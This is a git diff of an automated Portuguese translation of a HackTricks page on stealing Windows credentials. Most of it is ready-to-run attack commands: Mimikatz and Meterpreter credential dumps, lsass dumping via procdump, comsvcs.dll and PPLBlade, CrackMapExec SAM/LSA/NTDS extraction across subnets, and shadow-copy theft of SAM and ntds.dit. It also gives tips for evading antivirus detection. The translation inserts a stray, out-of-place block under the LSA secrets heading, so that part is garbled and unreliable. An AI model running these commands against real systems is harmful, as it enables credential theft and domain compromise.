mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-01 00:49:40 +00:00
Translated ['windows-hardening/stealing-credentials/README.md'] to pt
This commit is contained in:
parent
6c69f419db
commit
abba30be01
1 changed files with 115 additions and 69 deletions
|
@ -1,4 +1,4 @@
|
||||||
# Roubo de Credenciais do Windows
|
# Roubando Credenciais do Windows
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -6,15 +6,15 @@
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenha o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo no Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo no telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Mimikatz de Credenciais
|
## Credenciais Mimikatz
|
||||||
```bash
|
```bash
|
||||||
#Elevate Privileges to extract the credentials
|
#Elevate Privileges to extract the credentials
|
||||||
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
|
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
|
||||||
|
@ -28,7 +28,7 @@ lsadump::sam
|
||||||
#One liner
|
#One liner
|
||||||
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
|
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
|
||||||
```
|
```
|
||||||
**Encontre outras funcionalidades que o Mimikatz pode realizar** [**nesta página**](credentials-mimikatz.md)**.**
|
**Encontre outras coisas que o Mimikatz pode fazer nesta** [**página**](credentials-mimikatz.md)**.**
|
||||||
|
|
||||||
### Invoke-Mimikatz
|
### Invoke-Mimikatz
|
||||||
```bash
|
```bash
|
||||||
|
@ -40,7 +40,7 @@ Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpa
|
||||||
|
|
||||||
## Credenciais com Meterpreter
|
## Credenciais com Meterpreter
|
||||||
|
|
||||||
Use o [**Plugin de Credenciais**](https://github.com/carlospolop/MSF-Credentials) **que** eu criei para **procurar por senhas e hashes** dentro da vítima.
|
Use o [**Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **que** eu criei para **procurar senhas e hashes** dentro da vítima.
|
||||||
```bash
|
```bash
|
||||||
#Credentials from SAM
|
#Credentials from SAM
|
||||||
post/windows/gather/smart_hashdump
|
post/windows/gather/smart_hashdump
|
||||||
|
@ -61,8 +61,8 @@ mimikatz_command -f "lsadump::sam"
|
||||||
|
|
||||||
### Procdump + Mimikatz
|
### Procdump + Mimikatz
|
||||||
|
|
||||||
Como o **Procdump da** [**SysInternals** ](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)**é uma ferramenta legítima da Microsoft**, não é detectado pelo Defender.\
|
Como **Procdump do** [**SysInternals** ](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)**é uma ferramenta legítima da Microsoft**, não é detectado pelo Defender.\
|
||||||
Você pode usar essa ferramenta para **fazer dump do processo lsass**, **baixar o dump** e **extrair** as **credenciais localmente** do dump.
|
Você pode usar esta ferramenta para **despejar o processo lsass**, **baixar o dump** e **extrair** as **credenciais localmente** do dump.
|
||||||
|
|
||||||
{% code title="Dump lsass" %}
|
{% code title="Dump lsass" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -74,7 +74,7 @@ Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
{% code title="Extrair credenciais do dump" %}
|
{% code title="Extract credentials from the dump" %}
|
||||||
```c
|
```c
|
||||||
//Load the dump
|
//Load the dump
|
||||||
mimikatz # sekurlsa::minidump lsass.dmp
|
mimikatz # sekurlsa::minidump lsass.dmp
|
||||||
|
@ -85,44 +85,44 @@ mimikatz # sekurlsa::logonPasswords
|
||||||
|
|
||||||
Este processo é feito automaticamente com [SprayKatz](https://github.com/aas-n/spraykatz): `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`
|
Este processo é feito automaticamente com [SprayKatz](https://github.com/aas-n/spraykatz): `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`
|
||||||
|
|
||||||
**Nota**: Alguns **AV** podem **detectar** como **malicioso** o uso do **procdump.exe para fazer dump do lsass.exe**, isso ocorre porque estão **detectando** as strings **"procdump.exe" e "lsass.exe"**. Portanto, é mais **discreto** **passar** como **argumento** o **PID** do lsass.exe para o procdump **em vez de** o **nome lsass.exe.**
|
**Nota**: Alguns **AV** podem **detectar** como **malicioso** o uso de **procdump.exe para dump lsass.exe**, isso ocorre porque eles estão **detectando** a string **"procdump.exe" e "lsass.exe"**. Portanto, é **mais furtivo** **passar** como um **argumento** o **PID** de lsass.exe para procdump **em vez do** **nome lsass.exe.**
|
||||||
|
|
||||||
### Fazendo dump do lsass com **comsvcs.dll**
|
### Dumping lsass com **comsvcs.dll**
|
||||||
|
|
||||||
Uma DLL chamada **comsvcs.dll** encontrada em `C:\Windows\System32` é responsável por **fazer dump da memória do processo** em caso de falha. Esta DLL inclui uma **função** chamada **`MiniDumpW`**, projetada para ser invocada usando `rundll32.exe`.\
|
Uma DLL chamada **comsvcs.dll** encontrada em `C:\Windows\System32` é responsável por **dumping process memory** no caso de um crash. Esta DLL inclui uma **função** chamada **`MiniDumpW`**, projetada para ser invocada usando `rundll32.exe`.\
|
||||||
Não são relevantes os dois primeiros argumentos, mas o terceiro é dividido em três componentes. O ID do processo a ser dumpado constitui o primeiro componente, a localização do arquivo de dump representa o segundo, e o terceiro componente é estritamente a palavra **full**. Não existem opções alternativas.\
|
É irrelevante usar os dois primeiros argumentos, mas o terceiro é dividido em três componentes. O ID do processo a ser dumpado constitui o primeiro componente, a localização do arquivo de dump representa o segundo, e o terceiro componente é estritamente a palavra **full**. Não existem opções alternativas.\
|
||||||
Ao analisar esses três componentes, a DLL se engaja em criar o arquivo de dump e transferir a memória do processo especificado para este arquivo.\
|
Ao analisar esses três componentes, a DLL é engajada na criação do arquivo de dump e na transferência da memória do processo especificado para este arquivo.\
|
||||||
A utilização da **comsvcs.dll** é viável para fazer dump do processo lsass, eliminando assim a necessidade de fazer upload e executar o procdump. Este método é descrito detalhadamente em [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords).
|
A utilização da **comsvcs.dll** é viável para dump do processo lsass, eliminando assim a necessidade de fazer upload e executar procdump. Este método é descrito em detalhes em [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords).
|
||||||
|
|
||||||
O comando a seguir é empregado para a execução:
|
O seguinte comando é empregado para execução:
|
||||||
```bash
|
```bash
|
||||||
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
|
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
|
||||||
```
|
```
|
||||||
**Você pode automatizar esse processo com** [**lssasy**](https://github.com/Hackndo/lsassy)**.**
|
**Você pode automatizar este processo com** [**lssasy**](https://github.com/Hackndo/lsassy)**.**
|
||||||
|
|
||||||
### **Despejando lsass com o Gerenciador de Tarefas**
|
### **Despejando lsass com o Gerenciador de Tarefas**
|
||||||
|
|
||||||
1. Clique com o botão direito na Barra de Tarefas e clique em Gerenciador de Tarefas
|
1. Clique com o botão direito na Barra de Tarefas e clique em Gerenciador de Tarefas
|
||||||
2. Clique em Mais detalhes
|
2. Clique em Mais detalhes
|
||||||
3. Procure pelo processo "Processo de Autoridade de Segurança Local" na guia Processos
|
3. Procure pelo processo "Local Security Authority Process" na aba Processos
|
||||||
4. Clique com o botão direito no processo "Processo de Autoridade de Segurança Local" e clique em "Criar arquivo de despejo".
|
4. Clique com o botão direito no processo "Local Security Authority Process" e clique em "Criar arquivo de despejo".
|
||||||
|
|
||||||
### Despejando lsass com procdump
|
### Despejando lsass com procdump
|
||||||
|
|
||||||
[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) é um binário assinado pela Microsoft que faz parte da suíte [sysinternals](https://docs.microsoft.com/en-us/sysinternals/).
|
[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) é um binário assinado pela Microsoft que faz parte do pacote [sysinternals](https://docs.microsoft.com/en-us/sysinternals/).
|
||||||
```
|
```
|
||||||
Get-Process -Name LSASS
|
Get-Process -Name LSASS
|
||||||
.\procdump.exe -ma 608 lsass.dmp
|
.\procdump.exe -ma 608 lsass.dmp
|
||||||
```
|
```
|
||||||
## Despejando lsass com PPLBlade
|
## Dumpin lsass com PPLBlade
|
||||||
|
|
||||||
[**PPLBlade**](https://github.com/tastypepperoni/PPLBlade) é uma ferramenta de despejo de Processo Protegido que suporta a obfuscação do despejo de memória e a transferência para estações de trabalho remotas sem gravá-lo no disco.
|
[**PPLBlade**](https://github.com/tastypepperoni/PPLBlade) é uma Ferramenta de Dump de Processo Protegido que suporta ofuscar o dump de memória e transferi-lo para estações de trabalho remotas sem gravá-lo no disco.
|
||||||
|
|
||||||
**Funcionalidades principais**:
|
**Funcionalidades principais**:
|
||||||
|
|
||||||
1. Bypass da proteção PPL
|
1. Contornar a proteção PPL
|
||||||
2. Obfuscação de arquivos de despejo de memória para evitar mecanismos de detecção baseados em assinaturas do Defender
|
2. Ofuscar arquivos de dump de memória para evitar mecanismos de detecção baseados em assinatura do Defender
|
||||||
3. Upload de despejo de memória com métodos de upload RAW e SMB sem gravá-lo no disco (despejo sem arquivo)
|
3. Carregar dump de memória com métodos de upload RAW e SMB sem gravá-lo no disco (dump sem arquivo)
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -132,20 +132,68 @@ PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmod
|
||||||
|
|
||||||
## CrackMapExec
|
## CrackMapExec
|
||||||
|
|
||||||
### Despejar hashes SAM
|
### Dump SAM hashes
|
||||||
```
|
```
|
||||||
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
|
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
|
||||||
```
|
```
|
||||||
### Extrair segredos LSA
|
### Dump LSA secrets
|
||||||
|
|
||||||
|
Para fazer dump das LSA secrets, você pode usar o `secretsdump.py` do Impacket.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
secretsdump.py <domain>/<username>@<dc_ip>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Dump SAM
|
||||||
|
|
||||||
|
Para fazer dump do SAM, você pode usar o `secretsdump.py` do Impacket.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
secretsdump.py -sam <system> <security> <sam>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Mimikatz
|
||||||
|
|
||||||
|
Mimikatz é uma ferramenta popular para roubar credenciais do Windows. Você pode usá-la para extrair senhas em texto claro, hashes de senha, PINs e tickets Kerberos da memória.
|
||||||
|
|
||||||
|
#### Dumping senhas em texto claro
|
||||||
|
|
||||||
|
Para fazer dump de senhas em texto claro, execute os seguintes comandos no Mimikatz:
|
||||||
|
|
||||||
|
```mimikatz
|
||||||
|
privilege::debug
|
||||||
|
sekurlsa::logonpasswords
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Dumping de hashes de senha
|
||||||
|
|
||||||
|
Para fazer dump de hashes de senha, execute os seguintes comandos no Mimikatz:
|
||||||
|
|
||||||
|
```mimikatz
|
||||||
|
privilege::debug
|
||||||
|
lsadump::lsa /patch
|
||||||
|
```
|
||||||
|
|
||||||
|
### Credenciais de rede
|
||||||
|
|
||||||
|
Para roubar credenciais de rede, você pode usar o `netcreds`.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
netcreds -i <interface>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Resumo
|
||||||
|
|
||||||
|
Roubar credenciais é uma parte crítica do pentesting. Ferramentas como `secretsdump.py`, Mimikatz e `netcreds` são essenciais para extrair credenciais de sistemas Windows.
|
||||||
```
|
```
|
||||||
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
|
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
|
||||||
```
|
```
|
||||||
### Extrair o NTDS.dit do DC de destino
|
### Extrair o NTDS.dit do DC alvo
|
||||||
```
|
```
|
||||||
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
|
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
|
||||||
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
|
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
|
||||||
```
|
```
|
||||||
### Extrair o histórico de senhas do NTDS.dit do DC alvo
|
### Extrair o histórico de senhas NTDS.dit do DC alvo
|
||||||
```
|
```
|
||||||
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
|
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
|
||||||
```
|
```
|
||||||
|
@ -153,9 +201,9 @@ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
|
||||||
```
|
```
|
||||||
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
|
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
|
||||||
```
|
```
|
||||||
## Roubo de SAM & SYSTEM
|
## Roubando SAM & SYSTEM
|
||||||
|
|
||||||
Esses arquivos devem estar **localizados** em _C:\windows\system32\config\SAM_ e _C:\windows\system32\config\SYSTEM._ Mas **você não pode simplesmente copiá-los de forma regular** porque eles estão protegidos.
|
Esses arquivos devem estar **localizados** em _C:\windows\system32\config\SAM_ e _C:\windows\system32\config\SYSTEM._ Mas **você não pode simplesmente copiá-los de maneira regular** porque eles são protegidos.
|
||||||
|
|
||||||
### Do Registro
|
### Do Registro
|
||||||
|
|
||||||
|
@ -170,7 +218,7 @@ reg save HKLM\security security
|
||||||
samdump2 SYSTEM SAM
|
samdump2 SYSTEM SAM
|
||||||
impacket-secretsdump -sam sam -security security -system system LOCAL
|
impacket-secretsdump -sam sam -security security -system system LOCAL
|
||||||
```
|
```
|
||||||
### Cópia de Sombra de Volume
|
### Volume Shadow Copy
|
||||||
|
|
||||||
Você pode realizar a cópia de arquivos protegidos usando este serviço. Você precisa ser Administrador.
|
Você pode realizar a cópia de arquivos protegidos usando este serviço. Você precisa ser Administrador.
|
||||||
|
|
||||||
|
@ -180,7 +228,7 @@ O binário vssadmin está disponível apenas nas versões do Windows Server
|
||||||
```bash
|
```bash
|
||||||
vssadmin create shadow /for=C:
|
vssadmin create shadow /for=C:
|
||||||
#Copy SAM
|
#Copy SAM
|
||||||
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SAM
|
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM
|
||||||
#Copy SYSTEM
|
#Copy SYSTEM
|
||||||
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
|
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
|
||||||
#Copy ntds.dit
|
#Copy ntds.dit
|
||||||
|
@ -189,7 +237,7 @@ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Ex
|
||||||
# You can also create a symlink to the shadow copy and access it
|
# You can also create a symlink to the shadow copy and access it
|
||||||
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
|
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
|
||||||
```
|
```
|
||||||
Mas você pode fazer o mesmo a partir do **Powershell**. Este é um exemplo de **como copiar o arquivo SAM** (o disco rígido usado é "C:" e é salvo em C:\users\Public), mas você pode usar isso para copiar qualquer arquivo protegido:
|
Mas você pode fazer o mesmo a partir do **Powershell**. Este é um exemplo de **como copiar o arquivo SAM** (o disco rígido usado é "C:" e ele é salvo em C:\users\Public), mas você pode usar isso para copiar qualquer arquivo protegido:
|
||||||
```bash
|
```bash
|
||||||
$service=(Get-Service -name VSS)
|
$service=(Get-Service -name VSS)
|
||||||
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
|
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
|
||||||
|
@ -198,71 +246,69 @@ $volume=(gwmi win32_shadowcopy -filter "ID='$id'")
|
||||||
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
|
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
|
||||||
$voume.Delete();if($notrunning -eq 1){$service.Stop()}
|
$voume.Delete();if($notrunning -eq 1){$service.Stop()}
|
||||||
```
|
```
|
||||||
Código do livro: [https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html](https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html)
|
|
||||||
|
|
||||||
### Invoke-NinjaCopy
|
### Invoke-NinjaCopy
|
||||||
|
|
||||||
Por fim, você também pode usar o [**script PS Invoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1) para fazer uma cópia do SAM, SYSTEM e ntds.dit.
|
Finalmente, você também pode usar o [**script PS Invoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1) para fazer uma cópia de SAM, SYSTEM e ntds.dit.
|
||||||
```bash
|
```bash
|
||||||
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
|
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
|
||||||
```
|
```
|
||||||
## **Credenciais do Active Directory - NTDS.dit**
|
## **Credenciais do Active Directory - NTDS.dit**
|
||||||
|
|
||||||
O arquivo **NTDS.dit** é conhecido como o coração do **Active Directory**, contendo dados cruciais sobre objetos de usuário, grupos e suas associações. É onde os **hashes de senha** dos usuários do domínio são armazenados. Este arquivo é um banco de dados do **Extensible Storage Engine (ESE)** e reside em **_%SystemRoom%/NTDS/ntds.dit_**.
|
O arquivo **NTDS.dit** é conhecido como o coração do **Active Directory**, contendo dados cruciais sobre objetos de usuário, grupos e suas associações. É onde os **hashes de senha** dos usuários do domínio são armazenados. Este arquivo é um banco de dados **Extensible Storage Engine (ESE)** e reside em **_%SystemRoom%/NTDS/ntds.dit_**.
|
||||||
|
|
||||||
Dentro deste banco de dados, três tabelas principais são mantidas:
|
Dentro deste banco de dados, três tabelas principais são mantidas:
|
||||||
|
|
||||||
- **Tabela de Dados**: Esta tabela é responsável por armazenar detalhes sobre objetos como usuários e grupos.
|
- **Data Table**: Esta tabela é responsável por armazenar detalhes sobre objetos como usuários e grupos.
|
||||||
- **Tabela de Links**: Ela mantém o controle de relacionamentos, como associações de grupos.
|
- **Link Table**: Mantém o controle de relacionamentos, como associações de grupos.
|
||||||
- **Tabela SD**: **Descritores de segurança** para cada objeto são mantidos aqui, garantindo a segurança e controle de acesso para os objetos armazenados.
|
- **SD Table**: **Descritores de segurança** para cada objeto são mantidos aqui, garantindo a segurança e o controle de acesso para os objetos armazenados.
|
||||||
|
|
||||||
Mais informações sobre isso: [http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/)
|
Mais informações sobre isso: [http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/)
|
||||||
|
|
||||||
O Windows usa _Ntdsa.dll_ para interagir com esse arquivo e é usado pelo _lsass.exe_. Então, **parte** do arquivo **NTDS.dit** pode estar localizada **dentro da memória do `lsass`** (você pode encontrar os dados acessados mais recentemente provavelmente devido à melhoria de desempenho ao usar um **cache**).
|
O Windows usa _Ntdsa.dll_ para interagir com esse arquivo e é usado pelo _lsass.exe_. Então, **parte** do arquivo **NTDS.dit** pode estar localizada **dentro da memória do `lsass`** (você pode encontrar os dados acessados mais recentemente provavelmente devido à melhoria de desempenho usando um **cache**).
|
||||||
|
|
||||||
#### Descriptografando os hashes dentro do NTDS.dit
|
#### Decriptando os hashes dentro do NTDS.dit
|
||||||
|
|
||||||
O hash é cifrado 3 vezes:
|
O hash é cifrado 3 vezes:
|
||||||
|
|
||||||
1. Descriptografar a Chave de Criptografia de Senha (**PEK**) usando o **BOOTKEY** e **RC4**.
|
1. Decriptar a Chave de Criptografia de Senha (**PEK**) usando o **BOOTKEY** e **RC4**.
|
||||||
2. Descriptografar o **hash** usando **PEK** e **RC4**.
|
2. Decriptar o **hash** usando **PEK** e **RC4**.
|
||||||
3. Descriptografar o **hash** usando **DES**.
|
3. Decriptar o **hash** usando **DES**.
|
||||||
|
|
||||||
**PEK** tem o **mesmo valor** em **cada controlador de domínio**, mas é **cifrado** dentro do arquivo **NTDS.dit** usando o **BOOTKEY** do **arquivo SYSTEM do controlador de domínio (é diferente entre controladores de domínio)**. Por isso, para obter as credenciais do arquivo NTDS.dit, **você precisa dos arquivos NTDS.dit e SYSTEM** (_C:\Windows\System32\config\SYSTEM_).
|
**PEK** tem o **mesmo valor** em **todos os controladores de domínio**, mas é **cifrado** dentro do arquivo **NTDS.dit** usando o **BOOTKEY** do **arquivo SYSTEM do controlador de domínio (é diferente entre controladores de domínio)**. É por isso que para obter as credenciais do arquivo NTDS.dit **você precisa dos arquivos NTDS.dit e SYSTEM** (_C:\Windows\System32\config\SYSTEM_).
|
||||||
|
|
||||||
### Copiando o NTDS.dit usando o Ntdsutil
|
### Copiando NTDS.dit usando Ntdsutil
|
||||||
|
|
||||||
Disponível desde o Windows Server 2008.
|
Disponível desde o Windows Server 2008.
|
||||||
```bash
|
```bash
|
||||||
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
|
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
|
||||||
```
|
```
|
||||||
Você também pode usar o truque do [**volume shadow copy**](./#stealing-sam-and-system) para copiar o arquivo **ntds.dit**. Lembre-se de que você também precisará de uma cópia do arquivo **SYSTEM** (novamente, [**faça o dump do registro ou use o truque do volume shadow copy**](./#stealing-sam-and-system)).
|
Você também pode usar o truque da [**cópia de sombra de volume**](./#stealing-sam-and-system) para copiar o arquivo **ntds.dit**. Lembre-se de que você também precisará de uma cópia do **arquivo SYSTEM** (novamente, [**extraia-o do registro ou use o truque da cópia de sombra de volume**](./#stealing-sam-and-system)).
|
||||||
|
|
||||||
### **Extraindo hashes do NTDS.dit**
|
### **Extraindo hashes de NTDS.dit**
|
||||||
|
|
||||||
Depois de ter **obtido** os arquivos **NTDS.dit** e **SYSTEM**, você pode usar ferramentas como o _secretsdump.py_ para **extrair os hashes**:
|
Uma vez que você tenha **obtido** os arquivos **NTDS.dit** e **SYSTEM**, você pode usar ferramentas como _secretsdump.py_ para **extrair os hashes**:
|
||||||
```bash
|
```bash
|
||||||
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
|
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
|
||||||
```
|
```
|
||||||
Você também pode **extrair automaticamente** usando um usuário administrador de domínio válido:
|
Você também pode **extraí-los automaticamente** usando um usuário administrador de domínio válido:
|
||||||
```
|
```
|
||||||
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
|
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
|
||||||
```
|
```
|
||||||
Para **grandes arquivos NTDS.dit**, é recomendado extrair usando [gosecretsdump](https://github.com/c-sto/gosecretsdump).
|
Para **grandes arquivos NTDS.dit** é recomendado extraí-los usando [gosecretsdump](https://github.com/c-sto/gosecretsdump).
|
||||||
|
|
||||||
Por fim, você também pode usar o **módulo metasploit**: _post/windows/gather/credentials/domain\_hashdump_ ou **mimikatz** `lsadump::lsa /inject`
|
Finalmente, você também pode usar o **módulo metasploit**: _post/windows/gather/credentials/domain\_hashdump_ ou **mimikatz** `lsadump::lsa /inject`
|
||||||
|
|
||||||
### **Extraindo objetos de domínio do NTDS.dit para um banco de dados SQLite**
|
### **Extraindo objetos de domínio do NTDS.dit para um banco de dados SQLite**
|
||||||
|
|
||||||
Objetos NTDS podem ser extraídos para um banco de dados SQLite com [ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite). Não apenas segredos são extraídos, mas também os objetos inteiros e seus atributos para extração de informações adicionais quando o arquivo NTDS.dit bruto já foi recuperado.
|
Objetos NTDS podem ser extraídos para um banco de dados SQLite com [ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite). Não apenas segredos são extraídos, mas também os objetos inteiros e seus atributos para uma extração de informações mais detalhada quando o arquivo NTDS.dit bruto já foi recuperado.
|
||||||
```
|
```
|
||||||
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
|
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
|
||||||
```
|
```
|
||||||
O hive `SYSTEM` é opcional, mas permite a descriptografia de segredos (hashes NT & LM, credenciais suplementares como senhas em texto simples, chaves kerberos ou de confiança, históricos de senhas NT & LM). Juntamente com outras informações, os seguintes dados são extraídos: contas de usuário e máquina com seus hashes, flags UAC, carimbo de data/hora do último logon e alteração de senha, descrição de contas, nomes, UPN, SPN, grupos e associações recursivas, árvore de unidades organizacionais e associações, domínios confiáveis com tipo de confiança, direção e atributos...
|
O hive `SYSTEM` é opcional, mas permite a descriptografia de segredos (hashes NT & LM, credenciais suplementares como senhas em texto claro, chaves kerberos ou de confiança, históricos de senhas NT & LM). Juntamente com outras informações, os seguintes dados são extraídos: contas de usuário e máquina com seus hashes, flags UAC, timestamp do último logon e mudança de senha, descrição das contas, nomes, UPN, SPN, grupos e membros recursivos, árvore de unidades organizacionais e membros, domínios confiáveis com tipo de confiança, direção e atributos...
|
||||||
|
|
||||||
## Lazagne
|
## Lazagne
|
||||||
|
|
||||||
Baixe o binário da [qui](https://github.com/AlessandroZ/LaZagne/releases). Você pode usar este binário para extrair credenciais de vários softwares.
|
Baixe o binário [aqui](https://github.com/AlessandroZ/LaZagne/releases). Você pode usar este binário para extrair credenciais de vários softwares.
|
||||||
```
|
```
|
||||||
lazagne.exe all
|
lazagne.exe all
|
||||||
```
|
```
|
||||||
|
@ -270,11 +316,11 @@ lazagne.exe all
|
||||||
|
|
||||||
### Windows credentials Editor (WCE)
|
### Windows credentials Editor (WCE)
|
||||||
|
|
||||||
Esta ferramenta pode ser usada para extrair credenciais da memória. Faça o download em: [http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/)
|
Esta ferramenta pode ser usada para extrair credenciais da memória. Baixe-a em: [http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/)
|
||||||
|
|
||||||
### fgdump
|
### fgdump
|
||||||
|
|
||||||
Extrai credenciais do arquivo SAM
|
Extrair credenciais do arquivo SAM
|
||||||
```
|
```
|
||||||
You can find this binary inside Kali, just do: locate fgdump.exe
|
You can find this binary inside Kali, just do: locate fgdump.exe
|
||||||
fgdump.exe
|
fgdump.exe
|
